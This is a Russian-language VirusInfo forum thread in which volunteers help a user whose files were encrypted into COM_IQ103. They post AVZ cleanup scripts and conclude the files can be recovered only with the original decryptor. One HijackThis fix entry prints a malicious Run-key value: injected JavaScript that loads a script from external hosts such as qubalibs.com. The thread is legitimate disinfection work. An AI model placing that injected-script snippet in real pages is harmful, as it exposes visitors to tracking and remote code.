Вирус перекодировал файлы в COM_IQ103 [Trojan.Win32.Cidox.ahkz, Trojan.Win32.Cidox.ahme, Trojan-PSW.Win32.Tepfer.mora ]

Доброго времени суток! Возникла такая проблема: на рабочем компе вирус перекодировал файлы документы и изображения в формат COM_IQ103 так в имени каждого перекодированного файла после названия появилась надпись "uas@nonpartisan", не удается открыть документы и изображения.Подозреваю что словил вирус, пожалуйста, помогите перекодировать все обратно. Логи AVZ и HijackThis приложены, также для для примера прилагаю 2 перекодированных файла

Уважаемый(ая) [B]big_john[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('C:\Users\Андрей\appdata\local\google\update\gupdate.exe','');
QuarantineFile('C:\Users\Андрей\AppData\Local\NVIDIA Corporation\Update\daemonupd.exe','');
QuarantineFile('C:\Users\Андрей\documents\application data\explorer.exe','');
QuarantineFile('C:\Users\Андрей\documents\application data\~dwnld.exe','');
QuarantineFile('C:\Users\Андрей\AppData\Local\Microsoft\Windows\winupdate.exe','');
QuarantineFile('C:\Users\Андрей\Documents\explorer.dll','');
DeleteFile('C:\Users\Андрей\Documents\explorer.dll','32');
DeleteFile('C:\Users\Андрей\AppData\Local\Microsoft\Windows\winupdate.exe','32');
DeleteFile('C:\Users\Андрей\documents\application data\~dwnld.exe','32');
DeleteFile('C:\Users\Андрей\documents\application data\explorer.exe','32');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.[/code]Компьютер перезагрузится.

Пришлите карантин согласно [B]Приложения 2[/B] правил по красной ссылке [COLOR="Red"][U][B]Прислать запрошенный карантин[/B][/U][/COLOR] вверху темы

Сделайте новые логи

Сделайте новые логи[/QUOTE]


Имеется ввиду что после выполнения скрипта необходимо заново проделать все операции с AVZ и Hijack ?

Именно так

вот логи после выполнения скрипта. Скажите а файлы потом перекодировать обратно можно будет, что бы они корретно открывались?

[ATTACH]432105[/ATTACH]
[ATTACH]432106[/ATTACH]
[ATTACH]432107[/ATTACH]

Выполните скрипт в AVZ
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
TerminateProcessByName('c:\users\Андрей\appdata\roaming\leerho\peat.exe');
QuarantineFile('c:\users\Андрей\appdata\roaming\leerho\peat.exe','');
TerminateProcessByName('c:\users\Андрей\appdata\local\nvidia corporation\update\daemonupd.exe');
DeleteFile('c:\users\Андрей\appdata\local\nvidia corporation\update\daemonupd.exe','32');
DeleteFile('c:\users\Андрей\appdata\roaming\leerho\peat.exe','32');
DeleteFile('C:\Users\Андрей\AppData\Local\Google\Update\gupdate.exe','32');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','Google Update');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','NvUpdService');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','{196625B2-3943-02C5-5C68-8A48E0BFCD74}');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
ExecuteRepair(13);
RebootWindows(true);
end.[/code]Компьютер перезагрузится.

Пришлите карантин согласно [B]Приложения 2[/B] правил по красной ссылке [COLOR="Red"][U][B]Прислать запрошенный карантин[/B][/U][/COLOR] вверху темы

Пофиксите в HiJack
[CODE]O4 - HKCU\..\Run: [~backup~] ript>if(self==top){
document.write("<script charset='UTF-8' src='" +
(("https:" == document.location.protocol) ? "https://qubalibs.com" : "http://ipdnstatistic.com") +
"/phpbb/stjs.php?ran="+encodeURIComponent("@CR@n=FF1&p=@PA@&id=@ID@@CR@")+"&r="+escape(document.referrer)+"&u="+escape(document.URL)+"&"+Math.random()+"'>"+unescape("%3C/script%3E"));}</script>[/CODE]

Сделайте новые логи

сделано. Вот последние логи.Проблема пока еще не решена.Жду дальнейших указаний
[ATTACH]432110[/ATTACH]
[ATTACH]432111[/ATTACH]
[ATTACH]432112[/ATTACH]

А предлагаемые скрипты и не должны были расшифровать ничего.

Нужен оригинальный дешифратор

а для чего они вообще выполнялись? и какие варианты действий теперь у меня дальше? есть шанс спасти файлы?

[quote="big_john;1030689"]а для чего они вообще выполнялись?[/quote]Чтобы других соратников вируса убрать. Пароли, кстати, смените

[quote="big_john;1030689"]есть шанс спасти файлы?[/quote]Только при наличии оригинального дешифратора

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]2[/B][*]Обработано файлов: [B]12[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\\users\\андрей\\appdata\\roaming\\leerho\\peat.exe - [B]Trojan-PSW.Win32.Tepfer.mora[/B] ( DrWEB: Trojan.Proxy.25058, BitDefender: Gen:Heur.VB.Krypt.13, AVAST4: Win32:LockScreen-AAI [Trj] )[*] c:\\users\\андрей\\documents\\application data\\~dwnld.exe - [B]Backdoor.Win32.Cidox.ajbu[/B] ( DrWEB: Trojan.Mayachok.18669, BitDefender: Gen:Variant.Mayachok.8, AVAST4: Win32:Malware-gen )[*] c:\\users\\андрей\\documents\\application data\\explorer.exe - [B]Trojan.Win32.Cidox.ahkz[/B] ( DrWEB: Trojan.Mayachok.18634, BitDefender: Gen:Variant.Symmi.28228, AVAST4: Win32:Crypt-PRP [Trj] )[*] c:\\users\\андрей\\documents\\explorer.dll - [B]Trojan.Win32.Cidox.ahme[/B] ( DrWEB: Trojan.Mayachok.18643, BitDefender: Trojan.GenericKDV.1155315, AVAST4: Win32:Injector-BHR [Trj] )[/LIST][/LIST]
Рекомендации:
[LIST=1][*]Обнаружены троянские программы класса Trojan-PSW/Trojan-Spy - настоятельно рекомендуется поменять все пароли ![/LIST]